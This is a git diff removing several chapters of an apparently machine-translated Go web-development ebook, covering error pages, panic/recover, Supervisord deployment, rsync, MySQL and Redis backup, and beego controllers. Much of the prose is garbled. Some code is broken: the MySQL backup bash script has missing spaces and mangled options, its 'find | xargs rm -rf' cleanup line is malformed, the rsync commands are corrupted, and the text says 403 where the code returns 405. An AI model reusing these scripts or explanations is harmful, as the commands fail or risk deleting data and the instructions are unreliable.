cause read failures, such an application needs to do effective testing, to avoid such problems arise in case the program crashes. - -## Error processing of the target - -Error handling in the realization, we must be clear error handling is what you want to achieve, error handling system should accomplish the following tasks: - -- Notification access user errors: the matter is that a system error occurs, or user error, the user should be aware Web applications is a problem, the user 's current request could not be completed correctly. For example, a request for user error, we show a unified error page(404.html). When a system error occurs, we passed a custom error page display system is temporarily unavailable kind of error page(error.html). -- Record error: system error, generally what we call the function to return the case err is not nil, you can use the front section describes the system log to a log file. If it is some fatal error, the system administrator is notified via e-mail. General 404 such mistakes do not need to send messages to the log system only needs to record. -- Rollback the current request: If a user requests occurred during a server error, then the need to roll back the operation has been completed. Let's look at an example: a system will save the user submitted the form to the database, and to submit this data to a third-party server, but third-party server hung up, which resulted in an error, then the previously stored form data to a database should delete( void should be informed ), and should inform the user of the system error. -- Ensure that the existing program can be run to serve: We know that no one can guarantee that the program will be able to have a normal running, if one day the program crashes, then we need to log the error, and then immediately let the program up and running again, let the program continue to provide services, and then notify the system administrator through the logs to identify problems. - -## How to handle errors - -Error Handling In fact, we have eleven chapters in the first section which has been how to design error handling, here we have another example from a detailed explanation about how to handle different errors: - -- Notify the user errors: - -Notify the user when accessing the page we can have two kinds of errors: 404.html and error.html, the following were the source of the error page displays: - - - - - - Page Not Found - - - - - -
-
-
-
-

404!

-

{{.ErrorInfo}}

-
-
- -
-
- - - - -Another source: - - - - - - system error page - - - - - - -
-
-
-
-

system is temporarily unavailable !

-

{{.ErrorInfo}}

-
-
- -
-
- - - - -Error handling logic 404, an error if the system operation is similar, and we see that: - - func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if r.URL.Path == "/" { - sayhelloName(w, r) - return - } - NotFound404(w, r) - return - } - - func NotFound404(w http.ResponseWriter, r *http.Request) { - log.Error(" page not found") //error logging - t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file - ErrorInfo := " File not found " //Get the current user information - t.Execute(w, ErrorInfo) //execute the template merger operation - } - - func SystemError(w http.ResponseWriter, r *http.Request) { - log.Critical(" System Error") //system error triggered Critical, then logging will not only send a message - t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file - ErrorInfo := " system is temporarily unavailable " //Get the current user information - t.Execute(w, ErrorInfo) //execute the template merger operation - } - -## How to handle exceptions - -We know that in many other languages ​​have try... catch keywords used to capture the unusual situation, but in fact, many errors can be expected to occur without the need for exception handling, should be handled as an error, which is why the Go language using the function returns an error of design, these functions do not panic, for example, if a file is not found, os.Open returns an error, it will not panic; if you break the network connection to a write data, net.Conn series Type the Write function returns an error, they do not panic. These states where such procedures are to be expected. You know that these operations might fail, an error is returned because the designer has used a clear indication of this. This is the above stated error can be expected to occur. - -But there is a situation, there are some operations almost impossible to fail, and in certain cases there is no way to return an error and can not continue, such a situation should panic. For example: if a program to calculate x [j], but j bounds, and this part of the code will lead to panic, like this one unexpected fatal error will cause panic, by default it will kill the process, it this allows a part of the code that is running from the error occurred panic goroutine recover operation, the occurrence of panic, the function of this part of the code and the code behind not be executed, which is specially designed such that Go, as separate from the errors and abnormal, panic fact exception handling. The following code, we expect to get the User via uid the username information, but if uid crossed the line will throw an exception, this time if we do not recover mechanism, the process will be killed, resulting in non- service program. So in order to process robustness, in some places need to establish recover mechanism. - - func GetUser(uid int) (username string) { - defer func() { - if x := recover(); x != nil { - username = "" - } - }() - - username = User[uid] - return - } - -The above describes the difference between errors and exceptions, so when we develop programs how to design it? The rules are simple: If you define a function may fail, it should return an error. When I call other package 's function, if this function is implemented well, I do not need to worry that it will panic, unless there is a true exception to happen, nor even that I should go with it. The panic and recover for its own development package which implements the logic to design for some special cases. - -## Summary - -This section summarizes when we deployed Web application how to handle various error: network error, database error, operating system errors, etc., when an error occurs, our program how to correctly handle: Show friendly error interface, rollback, logging, notify the administrator and other operations, and finally explains how to correctly handle errors and exceptions. General program errors and exceptions easily confused, but errors and exceptions in Go is a clear distinction, so tell us in a program designed to handle errors and exceptions should follow the principles of how to. - -## Links - -- [Directory](preface.md) -- Previous section: [Logs](12.1.md) -- Next section: [Deployment](12.3.md) diff --git a/en/eBook/12.3.md b/en/eBook/12.3.md deleted file mode 100644 index 0d439c39..00000000 --- a/en/eBook/12.3.md +++ /dev/null @@ -1,193 +0,0 @@ -# 12.3 Deployment - -After completion of the development program, we now want to deploy Web applications, but how do we deploy these applications do ? Because after compiling Go programs is an executable file, written a C program using daemon readers must know you can achieve the perfect background program runs continuously, but still not perfect at present Go realization daemon, therefore, for a Go application deployment, we can use third-party tools to manage, there are many third-party tools, such as Supervisord, upstart, daemon tools, etc. This section describes my own system using current tools Supervisord. - -## Daemon - -Currently Go programs can not be achieved daemon, see the Go detailed language bug: <`http://code.google.com/p/go/issues/detail?id=227`>, probably mean that it is difficult from the the use of existing fork a thread out, because there is no simple way to ensure that all the threads have used state consistency problem. - -But we can see some implementations daemon many online methods, such as the following two ways: - -- MarGo an implementation of the idea of using Command to run their own applications, if you really want to achieve, it is recommended that such programs - -
-	d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
-	if *d {
-		cmd := exec.Command(os.Args[0],
-			"-close-fds",
-			"-addr", *addr,
-			"-call", *call,
-		)
-		serr, err := cmd.StderrPipe()
-		if err != nil {
-			log.Fatalln(err)
-		}
-		err = cmd.Start()
-		if err != nil {
-			log.Fatalln(err)
-		}
-		s, err := ioutil.ReadAll(serr)
-		s = bytes.TrimSpace(s)
-		if bytes.HasPrefix(s, []byte("addr: ")) {
-			fmt.Println(string(s))
-			cmd.Process.Release()
-		} else {
-			log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
-			cmd.Process.Kill()
-		}
-	}
-
- -- Another solution is to use the syscall, but this solution is not perfect: - -``` - package main - - import ( - "log" - "os" - "syscall" - ) - - func daemon(nochdir, noclose int) int { - var ret, ret2 uintptr - var err uintptr - - darwin := syscall.OS == "darwin" - - // already a daemon - if syscall.Getppid() == 1 { - return 0 - } - - // fork off the parent process - ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) - if err != 0 { - return -1 - } - - // failure - if ret2 < 0 { - os.Exit(-1) - } - - // handle exception for darwin - if darwin && ret2 == 1 { - ret = 0 - } - - // if we got a good PID, then we call exit the parent process. - if ret > 0 { - os.Exit(0) - } - - /* Change the file mode mask */ - _ = syscall.Umask(0) - - // create a new SID for the child process - s_ret, s_errno := syscall.Setsid() - if s_errno != 0 { - log.Printf("Error: syscall.Setsid errno: %d", s_errno) - } - if s_ret < 0 { - return -1 - } - - if nochdir == 0 { - os.Chdir("/") - } - - if noclose == 0 { - f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) - if e == nil { - fd := f.Fd() - syscall.Dup2(fd, os.Stdin.Fd()) - syscall.Dup2(fd, os.Stdout.Fd()) - syscall.Dup2(fd, os.Stderr.Fd()) - } - } - - return 0 - } -``` - -The above proposed two implementations Go's daemon program, but I still do not recommend you to realize this, because the official announcement has not officially support daemon, of course, the first option is more feasible for now, but it is currently open source library skynet in adopting this program do daemon. - -## Supervisord - -Go has been described above, there are two options currently are to realize his daemon, but the government itself does not support this one, so it is recommended that you use sophisticated tools to manage our third-party applications, here I'll give you a present more extensive use of process management software: Supervisord. Supervisord is implemented in Python a very useful process management tool. supervisord will help you to manage applications into daemon process, but can be easily turned on via the command, shut down, restart, etc, and it is managed by the collapse will automatically restart once the process so that you can ensure that the program execution is interrupted in the case there are self-healing capabilities. - -> I stepped in front of a pit in the application, because all applications are made Supervisord parent born, then when you change the operating system file descriptor after, do not forget to restart Supervisord, light restart following application program useless. I just had the system installed after the first installed Supervisord, then start the deployment process, modify the file descriptor, restart the program, that the file descriptor is already 100,000, but in fact Supervisord this time or the default 1024, led him to manage the process All descriptors is 1024. pressure after opening up the system to start a newspaper run out of file descriptors, search for a long time to find the pit. - -### Supervisord installation - -Supervisord can `sudo easy_install supervisor` installation, of course, can also Supervisord official website to download, unzip and go to the folder where the source code, run `setup.py install` to install. - -- Must be installed using easy_install setuptools - -Open the `http://pypi.python.org/pypi/setuptools# files`, depending on your system version of python download the appropriate file, and then execute `sh setuptoolsxxxx.egg`, so that you can use easy_install command to install Supervisord. - -### Supervisord Configure - -Supervisord default configuration file path is `/etc/supervisord.conf`, through a text editor to modify this file, the following is a sample configuration file: - - ;/etc/supervisord.conf - [unix_http_server] - file = /var/run/supervisord.sock - chmod = 0777 - chown= root:root - - [inet_http_server] - # Web management interface settings - port=9001 - username = admin - password = yourpassword - - [supervisorctl] - ; Must 'unix_http_server' match the settings inside - serverurl = unix:///var/run/supervisord.sock - - [supervisord] - logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) - logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) - logfile_backups=10 ; (num of main logfile rotation backups;default 10) - loglevel=info ; (log level;default info; others: debug,warn,trace) - pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) - nodaemon=true ; (start in foreground if true;default false) - minfds=1024 ; (min. avail startup file descriptors;default 1024) - minprocs=200 ; (min. avail process descriptors;default 200) - user=root ; (default is current user, required if root) - childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) - - [rpcinterface:supervisor] - supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface - ; Manage the configuration of a single process, you can add multiple program - [program: blogdemon] - command =/data/blog/blogdemon - autostart = true - startsecs = 5 - user = root - redirect_stderr = true - stdout_logfile =/var/log/supervisord/blogdemon.log - -### Supervisord management - -After installation is complete, there are two Supervisord available command line supervisor and supervisorctl, command explained as follows: - -- Supervisord, initial startup Supervisord, start, set in the configuration management process. -- Supervisorctl stop programxxx, stop one process(programxxx), programxxx for the [program: blogdemon] in configured value, this example is blogdemon. -- Supervisorctl start programxxx, start a process -- Supervisorctl restart programxxx, restarting a process -- Supervisorctl stop all, stop all processes, Note: start, restart, stop will not load the latest configuration files. -- Supervisorctl reload, load the latest configuration file, and press the new configuration to start, manage all processes. - -## Summary - -This section we describe how to implement daemon of the Go, but due to the current lack of Go-daemon implementation, need to rely on third-party tools to achieve the application daemon management approach, so here describes a process using python to write management tools Supervisord by Supervisord can easily put our Go up and application management. - - -## Links - -- [Directory](preface.md) -- Previous section: [Errors and crashes](12.2.md) -- Next section: [Backup and recovery](12.4.md) diff --git a/en/eBook/12.4.md b/en/eBook/12.4.md deleted file mode 100644 index 62e6098a..00000000 --- a/en/eBook/12.4.md +++ /dev/null @@ -1,185 +0,0 @@ -# 12.4 Backup and recovery - -This section we discuss another aspect of application management: production server data backup and recovery. We often encounter the production server network is broken, bad hard drive, operating system crash, or if the database is unavailable a variety of unusual circumstances, so maintenance personnel need to produce applications and data on the server to do remote disaster recovery, cold prepare hot standby ready. In the next presentation, explained how the backup application, how to backup/restore MySQL database and Redis databases. - -## Application Backup - -In most cluster environment, Web applications, the basic need for backup, because this is actually a copy of the code, we are in the local development environment, or the version control system has to maintain the code. But many times, a number of development sites require users to upload files, then we need for these users to upload files for backup. In fact, now there is a suitable approach is to put the needs and site-related files stored on the storage to the cloud storage, so even if the system crashes, as long as we still cloud file storage, at least the data is not lost. - -If we do not adopt cloud storage case, how to do a backup site do ? Here we introduce a file synchronization tool rsync: rsync backup site can be achieved in different file system synchronization, If the windows, then, need windows version cwrsync. - -### Rsync installation - -rsync 's official website: http://rsync.samba.org/can get the latest version from the above source. Of course, because rsync is a very useful software, so many Linux distributions will include it, including the. - -Package Installation - - # sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ; - # yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ; - # rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ; - -Other Linux distributions, please use the appropriate package management methods to install. Installing source packages - - tar xvf rsync-xxx.tar.gz - cd rsync-xxx - ./configure - prefix =/usr; make; make install - -
Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job
- -### Rsync Configure - -rsync mainly in the following three configuration files rsyncd.conf( main configuration file ), rsyncd.secrets( password file ), rsyncd.motd(rysnc server information ). - -Several documents about this configuration we can refer to the official website or other websites rsync introduction, here the server and client how to open - -- Services client opens: - - `# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf` - -- daemon parameter approach is to run rsync in server mode. Join the rsync boot - - `echo 'rsync - daemon' >> /etc/rc.d/rc.local` - -Set rsync password - - echo 'Your Username: Your Password' > /etc/rsyncd.secrets - chmod 600 /etc/rsyncd.secrets - -- Client synchronization: - -Clients can use the following command to synchronize the files on the server: - - rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www/var/rsync/backup - -This command, briefly explain a few points: - -1. `-avzP` is what the reader can use the `-help` Show -2. `-delete` for example A, deleted a file, the time synchronization, B will automatically delete the corresponding files -3. `-Password-file` client/etc/rsyncd.secrets set password, and server to `/etc/rsyncd.secrets` the password the same, so cron is running, you do not need the password -4. This command in the " User Name" for the service side of the `/etc/rsyncd.secrets` the user name -5. This command 192.168.145.5 as the IP address of the server -6. :: www, note the two: number, www as a server configuration file `/etc/rsyncd.conf` in [www], meaning that according to the service on the client `/etc/rsyncd.conf` to synchronize them [www] paragraph, a: number, when used according to the configuration file does not directly specify the directory synchronization. - -In order to synchronize real-time, you can set the crontab, keeping rsync synchronization every minute, of course, users can also set the level of importance depending on the file type of synchronization frequency. - -## MySQL backup - -MySQL database application is still the mainstream, the current MySQL backup in two ways: hot backup and cold backup, hot backup is currently mainly used master/slave mode (master/slave) mode is mainly used for database synchronization separate read and write, but also can be used for hot backup data ), on how to configure this information, we can find a lot. Cold backup data, then that is a certain delay, but you can guarantee that the time period before data integrity, such as may sometimes be caused by misuse of our loss of data, then the master/slave model is able to retrieve lost data, but through cold backup can partially restore the data. - -Cold backup shell script is generally used to achieve regular backup of the database, and then rsync synchronization through the above described non-local one server room. - -The following is a scheduled backup MySQL backup script, we use the mysqldump program, this command can be exported to a database file. - - - #!/bin/bash - # The following configuration information, modify their own - mysql_user="USER" #MySQL backup user - mysql_password="PASSWORD" # MySQL backup user's password - mysql_host="localhost" - mysql_port="3306" - mysql_charset="utf8" # MySQL coding - backup_db_arr=("db1" "db2") # To back up the database name, separated by spaces separated by a plurality of such("db1" "db2" "db3") - backup_location=/var/www/mysql # backup data storage location, please do not end with a "/", this can keep the default, the program will automatically create a folder - expire_backup_delete="ON" # delete outdated backups is turned OFF to ON ON to OFF - expire_days=3 # default expiration time for the three days the number of days, this is only valid when the expire_backup_delete open - - # We do not need to modify the following start - backup_time=`date +%Y%m%d%H%M` # define detailed time backup - backup_Ymd=`date +%Y-%m-%d` # define the backup directory date time - backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date - backup_dir=$backup_location/$backup_Ymd # full path to the backup folder - welcome_msg="Welcome to use MySQL backup tools!" # greeting - - # Determine whether to start MYSQL, mysql does not start the backup exit - mysql_ps=`ps-ef | grep mysql | wc-l` - mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l` - if [[$mysql_ps==0]-o [$mysql_listen==0]]; then - echo "ERROR: MySQL is not running! backup stop!" - exit - else - echo $welcome_msg - fi - - # Connect to mysql database, can not connect to the backup exit - mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end - use mysql; - select host, user from user where user='root' and host='localhost'; - exit - end - - flag=`echo $?` - if [$flag!="0"]; then - echo "ERROR: Can't connect mysql server! backup stop!" - exit - else - echo "MySQL connect ok! Please wait......" - # Judgment does not define the backup database, if you define a backup is started, otherwise exit the backup - if ["$backup_db_arr"!=""]; then - # dbnames=$(cut-d ','-f1-5 $backup_database) - # echo "arr is(${backup_db_arr [@]})" - for dbname in ${backup_db_arr [@]} - do - echo "database $dbname backup start..." - `mkdir -p $backup_dir` - `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz` - flag=`echo $?` - if [$flag=="0"]; then - echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" - else - echo "database $dbname backup fail!" - fi - - done - else - echo "ERROR: No database to backup! backup stop" - exit - fi - # If you open the delete expired backup, delete operation - if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then - # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;` - `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf` - echo "Expired backup data delete complete!" - fi - echo "All database backup success! Thank you!" - exit - fi - - -Modify shell script attributes: - - chmod 600 /root/mysql_backup.sh - chmod +x /root/mysql_backup.sh - -Set attributes, add the command crontab, we set up regular automatic backups every day 00:00, then the backup script directory/var/www/mysql directory is set to rsync synchronization. - - 00 00 *** /root/mysql_backup.sh - -## MySQL Recovery - -Earlier MySQL backup into hot backup and cold backup, hot backup main purpose is to be able to recover in real time, such as an application server hard disk failure occurred, then we can modify the database configuration file read and write into slave so that you can minimize the time interrupt service. - -But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command: - - mysql -u username -p databse < backup.sql - -You can see, export and import database data is fairly simple, but if you also need to manage permissions, or some other character set, it may be a little more complicated, but these can all be done through a number of commands. - -## Redis backup - -Redis is our most used NoSQL, its backup is also divided into two kinds: hot backup and cold backup, Redis also supports master/slave mode, so our hot backup can be achieved in this way, we can refer to the corresponding configuration the official document profiles, quite simple. Here we introduce cold backup mode: Redis will actually timed inside the memory cache data saved to the database file inside, we just backed up the corresponding file can be, is to use rsync backup to a previously described non-local machine room can be achieved. - -## Redis recovery - -Redis Recovery divided into hot and cold backup recovery backup and recovery, hot backup and recovery purposes and methods of recovery with MySQL, as long as the modified application of the corresponding database connection. - -But sometimes we need to cold backup to recover data, Redis cold backup and recovery is actually just put the saved database file copy to Redis working directory, and then start Redis on it, Redis at boot time will be automatically loaded into the database file memory, the start speed of the database to determine the size of the file. - -## Summary - -This section describes the application of part of our backup and recovery, that is, how to do disaster recovery, including file backup, database backup. Also introduced different systems using rsync file synchronization, MySQL database and Redis database backup and recovery, hope that through the introduction of this section, you can give as a developer of products for online disaster recovery program provides a reference solution. - -## Links - -- [Directory](preface.md) -- Previous section: [Deployment](12.3.md) -- Next section: [Summary](12.5.md) diff --git a/en/eBook/12.5.md b/en/eBook/12.5.md deleted file mode 100644 index 99065067..00000000 --- a/en/eBook/12.5.md +++ /dev/null @@ -1,20 +0,0 @@ -# 12.5 Summary - -This chapter discusses how to deploy and maintain Web applications we develop some related topics. The content is very important to be able to create a minimum maintenance based applications running smoothly, we must consider these issues. - -Specifically, the discussion in this chapter include: - -- Create a robust logging system that can record an error in case of problems and notify the system administrator -- Handle runtime errors that may occur, including logging, and how to display to the user-friendly system there is a problem -- Handling 404 errors, telling the user can not find the requested page -- Deploy applications to a production environment (including how to deploy updates) -- How to deploy highly available applications -- Backup and restore files and databases - -After reading this chapter, for the development of a Web application from scratch, those issues need to be considered, you should already have a comprehensive understanding. This chapter will help you in the actual environment management in the preceding chapter describes the development of the code. - -## Links - -- [Directory](preface.md) -- Previous section: [Backup and recovery](12.4.md) -- Next chapter: [Build a web framework](13.0.md) diff --git a/en/eBook/13.0.md b/en/eBook/13.0.md deleted file mode 100644 index d7713427..00000000 --- a/en/eBook/13.0.md +++ /dev/null @@ -1,11 +0,0 @@ -# 13 Build a web framework - -Preceding twelve chapter describes how to develop Web applications through Go, introduced a lot of basic knowledge, development tools and techniques, then we pass this knowledge in this chapter to implement a simple Web framework. Go language to achieve through a complete frame design, the main contents of this framework, the first section describes the structure of a Web framework planning, such as using the MVC pattern to develop, program execution process design, etc.; second section describes the framework the first feature: Routing, how to get access to the URL mapped to the corresponding processing logic; third section describes the processing logic, how to design a common controller, object inheritance after the handler how to handle response and request; fourth section describes how to framework some auxiliary functions, such as log processing, configuration information, etc.; fifth section describes how to implement a blog-based Web framework, including Bowen published, modify, delete, display a list of other operations. - -Through such a complete project example, I expect to be able to allow readers to understand how to develop Web applications, how to build your own directory structure, how to achieve routing, how to achieve the MVC pattern and other aspects of developing content. In the framework prevalent today, MVC is no longer a myth. Many programmers often heard discussions which frame is good, which frame is not good, in fact, the framework is only a tool, there is no good or bad, only suitable or unsuitable, for his is the best, so we write their own framework for the church, then different needs can use their own ideas to be realized. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 12 summary](12.5.md) -- Next section: [Project program](13.1.md) diff --git a/en/eBook/13.1.md b/en/eBook/13.1.md deleted file mode 100644 index e77a0586..00000000 --- a/en/eBook/13.1.md +++ /dev/null @@ -1,62 +0,0 @@ -# 13.1 Project program - -Need to do anything good plan, then we in the development blog system, also need to do the planning, how to set up the directory structure, how to understand the flow of the project, when we understand the execution of the application process, then the next the design becomes relatively easy to code - -## GOPATH and project settings - -Assuming that the file system specified GOPATH ordinary directory name, of course, we can easily set up a directory name, then its path into GOPATH. GOPATH described earlier can be multiple directories: set the environment variable in the window system ; in linux/MacOS system as long as the input terminal command `export gopath =/home/astaxie/gopath`, but must ensure that GOPATH the code below three directories pkg directory, bin, src. New Project source code in src directory, now tentatively our blog directory called beeblog, the following is in the window environment variables and directory structure screenshot: - -![](images/13.1.gopath.png?raw=true) - -Figure 13.1 GOPATH setting environment variables - -![](images/13.1.gopath2.png?raw=true) - -Figure 13.2 working directory in $ gopath/src under - -## Application flowchart - -Blog system is based on the model - view - controller of this design pattern. MVC is a logic of the application layer and the presentation layer separation is structured. In practice, due to the presentation layer separate from the Go out, so it allows your page includes only a small script. - -- Models(Model) represents the data structure. Generally speaking, the model class will contain remove, insert, update database information, etc. These functions. -- View(View) is displayed to the user's information structure and style. A view is usually a web page, but in Go, a view can also be a page fragment, such as page header, footer. It can also be an RSS page, or any other type of " page ", Go template package has been implemented to achieve a good part of the View layer of functionality. -- Controller(Controller) is a model, view, and anything else necessary for processing the HTTP request intermediary between resources and generate web pages. - -The following figure shows the framework of the project design is how the data flow throughout the system: - -![](images/13.1.flow.png?raw=true) - -Figure 13.3 the frame data stream - -1. Main.go as an application portal, running blog initialize some basic resources needed, configuration information, listen port. -2. Check the HTTP request routing function, based on the URL and method to determine who( control layer ) to process the request forwarding resources. -3. If the cache file exists, it will bypass the normal process execution, is sent directly to the browser. -4. Safety Testing: The application before the call controller, HTTP requests, and any user submitted data will be filtered. -5. controller loading model, core libraries, auxiliary functions, as well as any treatment other resources required for a particular request, the controller is primarily responsible for handling business logic. -6. Output view layer rendering good to be sent to the Web browser content. If on the cache, the cache is first view, the routine for future requests. - -## Directory structure - -According to the above application process design, blog design the directory structure is as follows: - - |——main.go import documents - |——conf configuration files and processing module - |——controllers controller entry - |——models database processing module - |——utils useful function library - |——static static file directory - |——views view gallery - -## Frame design - -In order to achieve a quick blog to build, based on the above process design intends to develop a minimization framework, which includes routing capabilities, support for REST controllers, automated template rendering, log system, configuration management, and so on. - -## Summary - -This section describes the blog system to the directory from the setup GOPATH establish such basic information, but also a brief introduction of the framework structure using the MVC pattern, blog system data flow execution flow, and finally through these processes designed blog system directory structure, thus we basically completed a framework to build the next few sections we will achieve individually. - -## Links - -- [Directory](preface.md) -- Previous section: [Build a web framework](13.0.md) -- Next section: [Customized routers](13.2.md) diff --git a/en/eBook/13.3.md b/en/eBook/13.3.md deleted file mode 100644 index f99f969d..00000000 --- a/en/eBook/13.3.md +++ /dev/null @@ -1,168 +0,0 @@ -# 13.3 Design controllers - -Most of the traditional MVC framework is based on the design of postfix Action mapping, however, is now popular REST-style Web architecture. Although the use of Filter or rewrite URL rewriting can be achieved through a REST-style URL, but why not just design a new REST-style MVC framework it ? This section is based on this idea on how to start from scratch to design a REST-style MVC framework based on the controller, to maximize simplify Web application development, or even write a single line of code to achieve the "Hello, world". - -## Controller role - -MVC design pattern is the most common Web application development framework model, by separating Model( model ), View( view ) and the Controller( controller ) can be more easily achieved easily extensible user interface(UI). Model refers to the background data returned ; View refers to the need to render the page, usually a template page, the content is usually rendered HTML; Controller refers to Web developers to write controllers handle different URL, such as the route described in the previous section is a URL request forwarded to the process controller, controller in the whole MVC framework plays a central role, responsible for handling business logic, so the controller is an essential part of the whole framework, Model and View for some business needs can not write, for example, no data processing logic processing, no page output 302 and the like do not need to adjust the Model and View, but the controller of this part is essential. - -## Beego the REST design - -Previous section describes the routing function to achieve a registered struct, and the struct implements REST approach, so we need to design a controller for logic processing base class, where the main design of the two types, a struct, an interface - - type Controller struct { - Ct *Context - Tpl *template.Template - Data map[interface{}]interface{} - ChildName string - TplNames string - Layout []string - TplExt string - } - - type ControllerInterface interface { - Init(ct *Context, cn string) //Initialize the context and subclass name - Prepare() //some processing before execution begins - Get() //method = GET processing - Post() //method = POST processing - Delete() //method = DELETE processing - Put() //method = PUT handling - Head() //method = HEAD processing - Patch() //method = PATCH treatment - Options() //method = OPTIONS processing - Finish() //executed after completion of treatment - Render() error //method executed after the corresponding method to render the page - } - -Then add function described earlier, when a route is defined ControllerInterface type, so long as we can implement this interface, so our base class Controller to achieve the following methods: - - func (c *Controller) Init(ct *Context, cn string) { - c.Data = make(map[interface{}]interface{}) - c.Layout = make([]string, 0) - c.TplNames = "" - c.ChildName = cn - c.Ct = ct - c.TplExt = "tpl" - } - - func (c *Controller) Prepare() { - - } - - func (c *Controller) Finish() { - - } - - func (c *Controller) Get() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Post() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Delete() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Put() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Head() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Patch() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Options() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Render() error { - if len(c.Layout) > 0 { - var filenames []string - for _, file := range c.Layout { - filenames = append(filenames, path.Join(ViewsPath, file)) - } - t, err := template.ParseFiles(filenames...) - if err != nil { - Trace("template ParseFiles err:", err) - } - err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) - if err != nil { - Trace("template Execute err:", err) - } - } else { - if c.TplNames == "" { - c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt - } - t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) - if err != nil { - Trace("template ParseFiles err:", err) - } - err = t.Execute(c.Ct.ResponseWriter, c.Data) - if err != nil { - Trace("template Execute err:", err) - } - } - return nil - } - - func (c *Controller) Redirect(url string, code int) { - c.Ct.Redirect(code, url) - } - - -At the controller base class already implements the interface defined functions performed by routing the appropriate controller according url principles will be followed by implementation of the following: - -Init() initializes -Prepare() before the execution of the initialization, each subclass can inherit to implement the function -method() depending on the method to perform different functions: GET, POST, PUT, HEAD, etc. sub-classes to implement these functions, if not achieved, then the default is 403 -Render() optional, according to a global variable to determine whether to execute AutoRender -Finish() after the implementation of the action, each subclass inherits the function can be achieved - -## Application guide - -Above beego Framework base class to complete the design of the controller, then we in our application can be to design our approach: - - package controllers - - import ( - "github.com/astaxie/beego" - ) - - type MainController struct { - beego.Controller - } - - func (this *MainController) Get() { - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.TplNames = "index.tpl" - } - -The way we achieved above subclass MainController, implements Get method, so if the user through other means(POST/HEAD, etc. ) to access the resource will return 403, and if it is Get access, because we set the AutoRender = true, then play in the implementation of the Get method is performed automatically after the Render function, it will display the following interface: - -![](images/13.4.beego.png?raw=true) - -index.tpl code is shown below, we can see the data set and display are quite simple: - - - - - beego welcome template - - -

Hello, world!{{.Username}},{{.Email}}

- - - - -## Links - -- [Directory](preface.md) -- Previous section: [Customized routers](13.2.md) -- Next section: [Logs and configurations](13.4.md) diff --git a/en/eBook/13.6.md b/en/eBook/13.6.md deleted file mode 100644 index 66264355..00000000 --- a/en/eBook/13.6.md +++ /dev/null @@ -1,9 +0,0 @@ -# 13.6 Summary - -In this chapter we describe how to implement a major foundation of the Go language framework, which includes routing design due to the built-in http Go package routing some shortcomings, we have designed a dynamic routing rule, and then introduces the MVC pattern Controller design, controller implements the REST implementation, the main ideas from the tornado frame, and then design and implement the template layout and automated rendering technology, mainly using the Go built-in template engine, and finally we introduce some auxiliary logs, configuration, etc. information design, through these designs we implemented a basic framework beego, present the framework has been open in GitHub, finally we beego implemented a blog system, through a detailed example code demonstrates how to quickly develop a site. - -## Links - -- [Directory](preface.md) -- Previous section: [Add, delete and update blogs](13.5.md) -- Next chapter: [Develop web framework](14.0.md) diff --git a/en/eBook/14.0.md b/en/eBook/14.0.md deleted file mode 100644 index 04365d05..00000000 --- a/en/eBook/14.0.md +++ /dev/null @@ -1,11 +0,0 @@ -# 14 Develop web framework - -Chapter XIII describes how to develop a Web framework, by introducing the MVC, routing, log processing, the configuration process is completed a basic framework for the system, but a good framework requires some auxiliary tools to facilitate rapid development of Web, then we this chapter will provide some quick how to develop Web-based tools are introduced, the first section explains how to deal with static files, how to use existing open source twitter bootstrap for rapid development of beautiful sites, the second section describes how to use the previously described the session for user log in process, and the third section describes how convenient output forms that how data validation, how fast the data binding model for CRUD operations, the fourth section describes how to perform some user authentication, including http basic certification, http digest authentication, the fifth section describes how to use the previously described i18n support multi-language application development. - -In this chapter expansion, beego framework will have rapid development of Web properties, and finally we will explain how to use the features of these extensions extension development blog system developed in Chapter XIII, through the development of a complete, beautiful blog system allows readers to understand beego development brings you fast. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 13 summary](13.6.md) -- Next section: [Static files](14.1.md) diff --git a/en/eBook/14.1.md 